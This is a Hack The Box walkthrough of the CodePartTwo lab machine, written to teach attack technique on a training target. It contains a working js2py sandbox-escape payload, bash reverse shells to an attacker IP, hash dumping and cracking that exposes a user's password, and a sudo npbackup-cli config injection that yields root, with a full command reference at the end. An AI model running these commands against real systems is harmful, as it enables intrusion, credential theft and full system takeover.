Hack The Box

Hack The Box: CodePartTwo Walkthrough

CodePartTwo chains a js2py sandbox escape, SQLite credential recovery, and npbackup-cli command injection.

CodePartTwo Hack The Box machine artwork
Official Hack The Box machine artwork for CodePartTwo.Hack The Box machine page opens in a new tab

Machine Info

Target IP: 10.129.232.59
Attacker IP: 10.10.16.84
Difficulty: Easy
Category: Linux / Web Application / Sandbox Escape

Attack chain

This writeup organizes the attack through the Cyber Kill Chain:

1. Reconnaissance - What can we see from the outside?
2. Weaponization - What vulnerabilities match the exposed services?
3. Delivery - How do we get our exploit to the target?
4. Exploitation - How do we gain initial access?
5. Installation - How do we maintain persistence or stability?
6. Command & Control - How do we interact with the compromised system?
7. Actions on Objectives - How do we escalate privileges and achieve our goal?

Calling js2py.disable_pyimport() blocks direct Python imports but does not prevent access to Python object introspection. The remaining bridge to loaded classes makes the sandbox escapable.

Our Strategy:
- Start broad (port scan), then narrow down (web app analysis)
- Follow the "download source code" breadcrumb
- Understand the technology stack (Flask + js2py)
- Research known vulnerabilities in the stack
- Chain low-privilege access to credential exposure to privilege escalation

2. Initial Reconnaissance

2.1 Why Port Scan First?

Port scanning establishes the exposed services, versions, likely operating system, and ports worth deeper review.

2.2 The Command

Nmap -sC -sV 10.129.232.59

Breaking it down:
- -p- scans all 65,535 TCP ports. We don't want to miss anything.
- -sC runs default NSE scripts. These grab banners, check for common misconfigurations, and provide useful metadata.
- -sV enables version detection. Knowing the exact version of a service helps us find known exploits.

HackTheBox “CodePartTwo” Walkthrough, figure 2

2.3 Results Analysis

PORT STATE SERVICE VERSION
 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
 8000/tcp open http Gunicorn 20.0.4

What this tells us:
- Port 22 (SSH): Standard Ubuntu SSH. Not likely vulnerable to easy exploits, but we'll keep credentials in mind for later.
- Port 8000 (Gunicorn): This is a Python WSGI HTTP server - almost certainly a Flask or Django application. The version 20.0.4 is old but not directly exploitable. The application logic is what matters here.
- OS: Ubuntu Linux, confirmed by the OpenSSH banner.

Decision Point: We have a web app on port 8000. This is our primary target. SSH is secondary - we'll only use it once we have credentials.

3. Web Application Enumeration

3.1 Why Register for an Account?

Many web applications expose different functionality to authenticated users versus anonymous visitors. By creating an account, we can:
- Access restricted pages (dashboards, admin panels)
- Discover additional API endpoints
- Test for broken access controls
- Find features that process user input (potential injection points)

3.2 Directory Discovery

Before registering, we can see what pages exist:

Dirsearch -u "http://10.129.232.59:8000 (lab-only address)"

Results:
- /dashboard - Redirects to /login (requires authentication)
- /download - Source code download
- /login - Login page
- /logout - Logout endpoint
- /register - Registration page

HackTheBox “CodePartTwo” Walkthrough, figure 3

3.3 Registration & Login

# Register an account
 curl -s -X POST http://10.129.232.59:8000/register (lab-only address) -d "username=test&password=test"

# Login and save session cookie
 curl -s -X POST http://10.129.232.59:8000/login (lab-only address) -d "username=test&password=test" -c cookies.txt

Why curl instead of a browser? It's faster, scriptable, and reproducible. It also makes it easy to save session cookies for subsequent requests and is perfect for API testing.

HackTheBox “CodePartTwo” Walkthrough, figure 4

3.4 Source Code Analysis

Downloading the source code reveals a Flask application with these key components:

Js2py.disable_pyimport()
 app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'

@app.route('/run_code', methods=['POST'])
 def run_code():
 try:
 code = request.json.get('code')
 result = js2py.eval_js(code)
 return jsonify({'result': result})
 except Exception as e:
 return jsonify({'error': str(e)})

Critical Observations:
1. js2py.disable_pyimport() - The developer tried to sandbox the JS execution by disabling Python imports. This is a warning sign: it means they knew execution was dangerous but implemented an incomplete fix.
2. sqlite:///users.db - A local SQLite database. If we can read the filesystem, we might extract credentials.
3. /run_code - Accepts arbitrary JavaScript and evaluates it. This is our injection point.
4. Password hashing uses MD5 - Fast to crack with rainbow tables or hash databases.

HackTheBox “CodePartTwo” Walkthrough, figure 5

4. Vulnerability Analysis: CVE-2024-28397

4.1 What is js2py?

Js2py is a Python library that translates JavaScript code into Python and executes it. The library exposes Python objects to JavaScript, which means JavaScript code can access Python's internal machinery.

4.2 The Sandbox Escape

Even with js2py.disable_pyimport(), JavaScript code can still:
1. Get a Python-backed object: Object.getOwnPropertyNames({}) returns a dict_keys object
2. Access Python's attribute system via .__getattribute__
3. Climb the class hierarchy: .__class__.__base__ reaches Python's base object
4. Enumerate all loaded classes: object.__subclasses__()
5. Find subprocess.Popen and execute arbitrary commands

Mechanism: Js2Py translates JS objects into Python wrappers. These wrappers retain Python's introspection capabilities. The developer only blocked pyimport() (importing modules), but didn't prevent access to already-loaded classes like subprocess.Popen.

4.3 Payload Breakdown

(function(){
 // Step 1: Get a Python object wrapper
 var o = Object.getOwnPropertyNames({}).__getattribute__.__class__.__base__;

// Step 2: Get all subclasses of Python's base object
 var s = o.__subclasses__();

// Step 3: Find subprocess.Popen
 var p;
 for(var i=0; i<s.length; i++){
 if(s[i].__module__ == 'subprocess' && s[i].__name__ == 'Popen'){
 p = s[i];
 break;
 }
 }

// Step 4: Execute command and return output
 return p? p('whoami', -1, null, -1, -1, -1, null, null, true).communicate()[0].decode('utf-8'): 'Not Found';
 })()

Understanding the Popen arguments:
- 'whoami' - The command to execute
- -1 - bufsize=-1 (default)
- null - executable=None
- -1, -1, -1 - stdin, stdout, stderr all piped
- null, null - preexec_fn=None, close_fds=-1
- true - shell=True, which means the command string is passed to /bin/sh -c, allowing shell syntax

5. Initial Foothold: From JS to Shell

5.1 Testing RCE (Proof of Concept)

Confirm code execution with a benign test before using a reverse shell.

Curl -s -X POST http://10.129.232.59:8000/run_code (lab-only address) \
 -b cookies.txt \
 -H "Content-Type: application/json" \
 -d '{"code":"(function(){ var o = Object.getOwnPropertyNames({}).__getattribute__.__class__.__base__; var s = o.__subclasses__(); var p; for(var i=0; i<s.length; i++){ if(s[i].__module__ == '\''subprocess'\'' && s[i].__name__ == '\''Popen'\''){ p = s[i]; break; } } return p? p('\''whoami'\'', -1, null, -1, -1, -1, null, null, true).communicate()[0].decode('\''utf-8'\''): '\''Not Found'\''; })()"}'

Response: {"result":"app\n"}

Analysis:
- The application runs as user app (not www-data as we might expect)
- RCE is confirmed
- We have arbitrary command execution

HackTheBox “CodePartTwo” Walkthrough, figure 6

5.2 Reverse Shell Payload

Now we replace whoami with a bash reverse shell:

Bash -c "bash -i >& /dev/tcp/10.10.16.84/4444 0>&1"

How the reverse shell works:
- bash -c executes the following string in a new bash instance
- bash -i spawns an interactive bash shell
- >& /dev/tcp/10.10.16.84/4444 redirects stdout and stderr to a TCP socket
- 0>&1 redirects stdin to the same socket, completing the bidirectional pipe

Why /dev/tcp? This is a bash built-in feature (not a real filesystem path) that creates TCP connections. It's useful for reverse shells because it requires no external tools like nc.

The full exploit:

# Terminal 1: Start listener
 nc -lvnp 4444

# Terminal 2: Send payload
 curl -s -X POST http://10.129.232.59:8000/run_code (lab-only address) \
 -b cookies.txt \
 -H "Content-Type: application/json" \
 -d '{"code":"(function(){ var o = Object.getOwnPropertyNames({}).__getattribute__.__class__.__base__; var s = o.__subclasses__(); var p; for(var i=0; i<s.length; i++){ if(s[i].__module__ == '\''subprocess'\'' && s[i].__name__ == '\''Popen'\''){ p = s[i]; break; } } return p? p('\''bash -c "bash -i >\\& /dev/tcp/10.10.16.84/4444 0>\\&1"'\'', -1, null, -1, -1, -1, null, null, true).communicate()[0].decode('\''utf-8'\''): '\''Not Found'\''; })()"}'

Note: The curl command will hang because communicate() waits for the subprocess to finish. The subprocess won't finish until you close the reverse shell. This is normal.

HackTheBox “CodePartTwo” Walkthrough, figure 7

5.3 Stabilizing the Shell

Once connected:

$ id
 uid=1001(app) gid=1001(app) groups=1001(app)

Why stabilize? Basic reverse shells don't handle Ctrl+C, Ctrl+Z, or terminal resizing. A stable shell lets you run interactive commands.

Python3 -c "import pty; pty.spawn('/bin/bash')"
 # Press Ctrl+Z to background
 # On Kali:
 stty raw -echo; fg
 # Press Enter twice, then in the shell:
 export TERM=xterm

HackTheBox “CodePartTwo” Walkthrough, figure 8

6. User Pivot: Credential Harvesting

6.1 Why Look for Databases?

The source code revealed sqlite:///users.db. SQLite databases are just files on disk. If the application can read them, and we're running as the application user, we can read them too.

6.2 Extracting the Database

Cd /home/app/app/instance
 ls -la
 sqlite3 users.db ".tables"
 sqlite3 users.db "SELECT * FROM user;"

Results:

1|marco|649c9d65a206a75f5abe509fe128bce5
 2|app|a97588c0e2fa3a024876339e27aeb42e
 3|test|098f6bcd4621d373cade4e832627b4f6

HackTheBox “CodePartTwo” Walkthrough, figure 9

Analysis:
- User marco has an MD5 password hash
- MD5 is cryptographically broken and fast to crack
- The hash 649c9d65a206a75f5abe509fe128bce5 is easily crackable

6.3 Cracking the Hash

Method 1: Online databases (fastest for CTFs)
- Use CrackStation or similar
- Input: 649c9d65a206a75f5abe509fe128bce5
- Output: sweetangelbabylove

Method 2: Hashcat (offline)

Hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Why MD5 is bad for passwords:
- No salt means rainbow tables work instantly
- Fast computation allows billions of guesses per second on GPUs

HackTheBox “CodePartTwo” Walkthrough, figure 10

6.4 SSH as Marco

Now we pivot to a stable, interactive shell via SSH:

Ssh marco@10.129.232.59
 # Password: sweetangelbabylove

Why SSH instead of staying in the reverse shell?
- Full TTY with proper terminal handling
- Persistent session (won't die if the web app restarts)
- Easier to run sudo, vim, and other interactive tools
- Less noisy (no constant HTTP requests)

HackTheBox “CodePartTwo” Walkthrough, figure 11

7. Privilege Escalation: Abusing npbackup-cli

7.1 Sudo Enumeration

The first thing you do on any new account is check what you can run as root:

Sudo -l

Output:

User marco may run the following commands on codeparttwo:
 (ALL: ALL) NOPASSWD: /usr/local/bin/npbackup-cli

Why is this dangerous?
- NOPASSWD means no authentication required
- npbackup-cli is a third-party backup tool
- Third-party tools often have configuration files that execute arbitrary commands
- Backup tools especially need to run pre- and post-scripts

HackTheBox “CodePartTwo” Walkthrough, figure 12

7.2 Understanding npbackup-cli

Npbackup-cli is a backup tool built on top of restic. Like many backup tools, it supports running commands before and after backups via configuration options:
- pre_exec_commands - Commands run before the backup
- post_exec_commands - Commands run after the backup

Since npbackup-cli runs as root via sudo, any command in these arrays executes as root.

7.3 The Original Config File

Cat /home/marco/npbackup.conf

The config is owned by root but readable by marco. It contains:

Groups:
 default_group:
 backup_opts:
 pre_exec_commands: []
 post_exec_commands: []

marco@codeparttwo:~$ cat /home/marco/npbackup.confconf_version: 3.0.1audience: publicrepos:  default:    repo_uri:       __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__    repo_group: default_group    backup_opts:      paths:      - /home/app/app/      source_type: folder_list      exclude_files_larger_than: 0.0    repo_opts:      repo_password:         __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__      retention_policy: {}      prune_max_unused: 0    prometheus: {}    env: {}    is_protected: falsegroups:  default_group:    backup_opts:      paths: []      source_type:      stdin_from_command:      stdin_filename:      tags: []      compression: auto      use_fs_snapshot: true      ignore_cloud_files: true      one_file_system: false      priority: low      exclude_caches: true      excludes_case_ignore: false      exclude_files:      - excludes/generic_excluded_extensions      - excludes/generic_excludes      - excludes/windows_excludes      - excludes/linux_excludes      exclude_patterns: []      exclude_files_larger_than:      additional_parameters:      additional_backup_only_parameters:      minimum_backup_size_error: 10 MiB      pre_exec_commands: []      pre_exec_per_command_timeout: 3600      pre_exec_failure_is_fatal: false      post_exec_commands: []      post_exec_per_command_timeout: 3600      post_exec_failure_is_fatal: false      post_exec_execute_even_on_backup_error: true      post_backup_housekeeping_percent_chance: 0      post_backup_housekeeping_interval: 0    repo_opts:      repo_password:      repo_password_command:      minimum_backup_age: 1440      upload_speed: 800 Mib      download_speed: 0 Mib      backend_connections: 0      retention_policy:        last: 3        hourly: 72        daily: 30        weekly: 4        monthly: 12        yearly: 3        tags: []        keep_within: true        group_by_host: true        group_by_tags: true        group_by_paths: false        ntp_server:      prune_max_unused: 0 B      prune_max_repack_size:    prometheus:      backup_job: ${MACHINE_ID}      group: ${MACHINE_GROUP}    env:      env_variables: {}      encrypted_env_variables: {}    is_protected: falseidentity:  machine_id: ${HOSTNAME}__blw0  machine_group:global_prometheus:  metrics: false  instance: ${MACHINE_ID}  destination:  http_username:  http_password:  additional_labels: {}  no_cert_verify: falseglobal_options:  auto_upgrade: false  auto_upgrade_percent_chance: 5  auto_upgrade_interval: 15  auto_upgrade_server_url:  auto_upgrade_server_username:  auto_upgrade_server_password:  auto_upgrade_host_identity: ${MACHINE_ID}  auto_upgrade_group: ${MACHINE_GROUP}
marco@codeparttwo:~$

7.4 Modifying the Config

We can't edit the root-owned original, but we can copy it and modify our copy:

Cp /home/marco/npbackup.conf /tmp/my_backup.conf

Then edit /tmp/my_backup.conf to inject our reverse shell into pre_exec_commands:

Groups:
 default_group:
 backup_opts:
 pre_exec_commands: ["bash -c 'bash -i >& /dev/tcp/10.10.16.84/4445 0>&1'"]

HackTheBox “CodePartTwo” Walkthrough, figure 13

Why pre_exec_commands? It runs before the backup starts. Even if the backup fails, the pre-exec commands have already run, and root privileges are already active.

The Python script to modify the config:

With open('/tmp/my_backup.conf', 'r') as f:
 lines = f.readlines()

With open('/tmp/my_backup.conf', 'w') as f:
 for line in lines:
 if 'pre_exec_commands: []' in line:
 f.write(' pre_exec_commands: ["bash -c \'bash -i >& /dev/tcp/10.10.16.84/4445 0>&1\'"]\n')
 else:
 f.write(line)

7.5 The Config Deletion Problem

During exploitation, we discovered that npbackup-cli (or a related process) was deleting modified config files in /home/marco/. This is likely a security feature or cleanup mechanism.

How we solved it:
- Move the config to /tmp/ (less likely to be monitored)
- Create and execute in a single command chain to minimize the time window for deletion

7.6 One-Liner Exploit

Cp /home/marco/npbackup.conf /tmp/my_backup.conf && python3 -c "
 with open('/tmp/my_backup.conf', 'r') as f:
 lines = f.readlines()
 with open('/tmp/my_backup.conf', 'w') as f:
 for line in lines:
 if 'pre_exec_commands: []' in line:
 f.write(' pre_exec_commands: [\"bash -c \'bash -i >& /dev/tcp/10.10.16.84/4445 0>&1\'\"]\n')
 else:
 f.write(line)
 " && sudo npbackup-cli -c /tmp/my_backup.conf -b

HackTheBox “CodePartTwo” Walkthrough, figure 14

Execution flow:
1. Copy config to /tmp
2. Inject reverse shell into pre_exec_commands
3. Run npbackup-cli with our custom config
4. Pre-exec fires as root - reverse shell connects back

On Kali (Terminal 1):

Nc -lvnp 4445

Result:

Connect to [10.10.16.84] from (UNKNOWN) [10.129.232.59] 44496
 root@codeparttwo:/home/marco# id
 uid=0(root) gid=0(root) groups=0(root)

HackTheBox “CodePartTwo” Walkthrough, figure 15

Lessons from the chain

Technical Lessons:

1. Sandbox escapes require creativity. Disabling pyimport() doesn't stop object introspection. Any bridge between languages (JS to Python, Lua to C, etc.) introduces escape opportunities.

2. MD5 has no place in password storage. use slow, salted hashes like bcrypt, scrypt, or Argon2.

3. NOPASSWD sudo on complex tools is dangerous. Backup tools, package managers, and container runtimes often execute configurable pre/post scripts. Audit these carefully.

4. Source code is the ultimate enumeration. The /download endpoint gave us everything we needed. Do not skip source code review when available.

Methodological Lessons:

1. Follow the breadcrumbs: Download endpoint → source code → js2py → CVE research → exploit.
2. Chain your exploits: RCE as app → credential exposure → SSH as marco → sudo abuse → root.
3. Adapt to obstacles: When the config file kept getting deleted, we moved to /tmp and chained commands.
4. Test before you fire: The whoami test saved us from launching a reverse shell blindly.

In One Sentence

Appendix: Full Command Reference

RECON:
 nmap -p- - min-rate 2000 -sC -sV 10.129.232.59

WEB ENUM:
 dirsearch -u "http://10.129.232.59:8000 (lab-only address)"
 curl -s -X POST http://10.129.232.59:8000/register (lab-only address) -d "username=test&password=test"
 curl -s -X POST http://10.129.232.59:8000/login (lab-only address) -d "username=test&password=test" -c cookies.txt

RCE TEST:
 curl -s -X POST http://10.129.232.59:8000/run_code (lab-only address) \
 -b cookies.txt \
 -H "Content-Type: application/json" \
 -d '{"code":"(function(){ var o = Object.getOwnPropertyNames({}).__getattribute__.__class__.__base__; var s = o.__subclasses__(); var p; for(var i=0; i<s.length; i++){ if(s[i].__module__ == '\''subprocess'\'' && s[i].__name__ == '\''Popen'\''){ p = s[i]; break; } } return p? p('\''whoami'\'', -1, null, -1, -1, -1, null, null, true).communicate()[0].decode('\''utf-8'\''): '\''Not Found'\''; })()"}'

REVERSE SHELL (run nc -lvnp 4444 in Terminal 1 first):
 curl -s -X POST http://10.129.232.59:8000/run_code (lab-only address) \
 -b cookies.txt \
 -H "Content-Type: application/json" \
 -d '{"code":"(function(){ var o = Object.getOwnPropertyNames({}).__getattribute__.__class__.__base__; var s = o.__subclasses__(); var p; for(var i=0; i<s.length; i++){ if(s[i].__module__ == '\''subprocess'\'' && s[i].__name__ == '\''Popen'\''){ p = s[i]; break; } } return p? p('\''bash -c \"bash -i >\\& /dev/tcp/10.10.16.84/4444 0>\\&1\"'\'', -1, null, -1, -1, -1, null, null, true).communicate()[0].decode('\''utf-8'\''): '\''Not Found'\''; })()"}'

CREDENTIAL HARVESTING:
cd /home/app/app/instance
 sqlite3 users.db "SELECT * FROM user;"
 # Crack MD5: 649c9d65a206a75f5abe509fe128bce5 -> sweetangelbabylove

SSH PIVOT:
 ssh marco@10.129.232.59

PRIVESC:
 sudo -l
 cp /home/marco/npbackup.conf /tmp/my_backup.conf && python3 -c "
 with open('/tmp/my_backup.conf', 'r') as f:
 lines = f.readlines()
 with open('/tmp/my_backup.conf', 'w') as f:
 for line in lines:
 if 'pre_exec_commands: []' in line:
 f.write(' pre_exec_commands: [\"bash -c \'bash -i >& /dev/tcp/10.10.16.84/4445 0>&1\'\"]\n')
 else:
 f.write(line)
 " && sudo npbackup-cli -c /tmp/my_backup.conf -b

Further reading

Evidence connected to this article.

Back to article start